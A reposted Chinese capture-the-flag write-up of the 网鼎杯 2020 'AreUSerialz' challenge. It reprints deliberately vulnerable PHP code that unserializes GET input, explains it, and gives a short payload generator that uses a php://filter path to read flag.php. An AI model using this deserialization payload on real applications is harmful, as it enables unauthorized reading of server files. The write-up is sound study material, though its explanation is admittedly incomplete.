代码审计:[网鼎杯 2020 青龙组]AreUSerialz

Posted F1ght!!

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了代码审计:[网鼎杯 2020 青龙组]AreUSerialz相关的知识,希望对你有一定的参考价值。

更长:

<?php

 include("flag.php");

 highlight_file(__FILE__);

 class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

include(“flag.php”);

highlight_file(FILE);

包含flag文件,并对本文件进行高亮处理:

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

第一个类,名为FileHandler,有文件处理的意思:

首先定义了三个保护变量:

接下来定义了一个函数,看名字是魔法函数,也就是在反序列化后会被触发的函数,可以猜到可能有反序列化:

function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

同时这个魔术方法是用于在实例化开始后,立刻对类中的变量进行初始化。

public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

this->是调用自身这个类的成员函数:由类中变量op的值来进行write(),和read()等读写操作,这两个函数可能是在后面进行了定义:

private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

果然定义了一个write函数,其为私有函数,其内容是:

首先:

 if(isset($this->filename) && isset($this->content))

判断:传入该类的参数filename和content是否定义,

前面初始化了的,

if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();

继续,如果字符串长度大于100,则退出,并输出too long:筛选长度:

private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

设置了read(),读取函数,判断传入的filename变量是否存在,然后通过file_get_content获取其内容,并将其输出:

private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

这个output()直接将其输出出来:

function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

接着这个定义魔法函数,__destruct()

定义:

​ __construct()  - 在每次创建新对象时先调用此方法

​ __destruct()  - 对象的所有引用都被删除或者当对象被显式销毁时执行

或者说:

​ 在类实例化的时候自动加载__construct这个方法

​ 当类需要被删除或者销毁这个类的时候自动加载__destruct这个方法

function __destruct() {
       if($this->op === "2")
           $this->op = "1";
       $this->content = "";
       $this->process();
   }

在类被销毁时,判断op的值,而且是强类型判断,如果是2就更改为1.并对content变量进行重新赋值,然后再调用类中的process()函数。由前面已知process()函数是定义来进行读写操作的。

function is_valid($s) {
  for($i = 0; $i < strlen($s); $i++)
      if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
          return false;
  return true;
}

这个函数,是确定其传入的变量是否为可打印的字符。ord()函数即返回其ASCLL码。

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

这里是最后一步了,

第一行,收集从前端传来的变量str,是用get方法,也就是从网址栏输入的?str=xxx传来的数据:

判断其是否为可打印的字符,然后进行反序列化,OK完了。

所以构造payload也十分简单:

<?php
highlight_file(__FILE__);
	class FileHandler {
        public $op = 2;
        public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
        public $content;
    }
    $a = new FileHandler();
        $b = serialize($a);
        echo($b);
?>

网页代码里将传入的参数进行了反序列化,同时也看到了里面的类和其中的主要函数,

那么构造 class Filehandler , 传入$op =2 使其功能为read(),然后读取的文件利用php伪协议,读取flag.php,因为开头有一个include(flag.php), 之后将其实例化,在序列化,传给服务器,读取到flag.php的内容

但还有一点没有说到:在 后端,明明class中的变量是被protected的,为什么能被轻易更改??没学好

以上是关于代码审计:[网鼎杯 2020 青龙组]AreUSerialz的主要内容,如果未能解决你的问题,请参考以下文章

Java安全-Java In CTF([网鼎杯 2020 青龙组]filejava[网鼎杯 2020 朱雀组]Think Java)

Java安全-Java In CTF([网鼎杯 2020 青龙组]filejava[网鼎杯 2020 朱雀组]Think Java)

BUU-WEB-[网鼎杯 2020 青龙组]AreUSerialz

2020/5/24 网鼎杯_青龙组_signal

2020/5/24 网鼎杯_青龙组_signal

网鼎杯2020青龙组 web writeup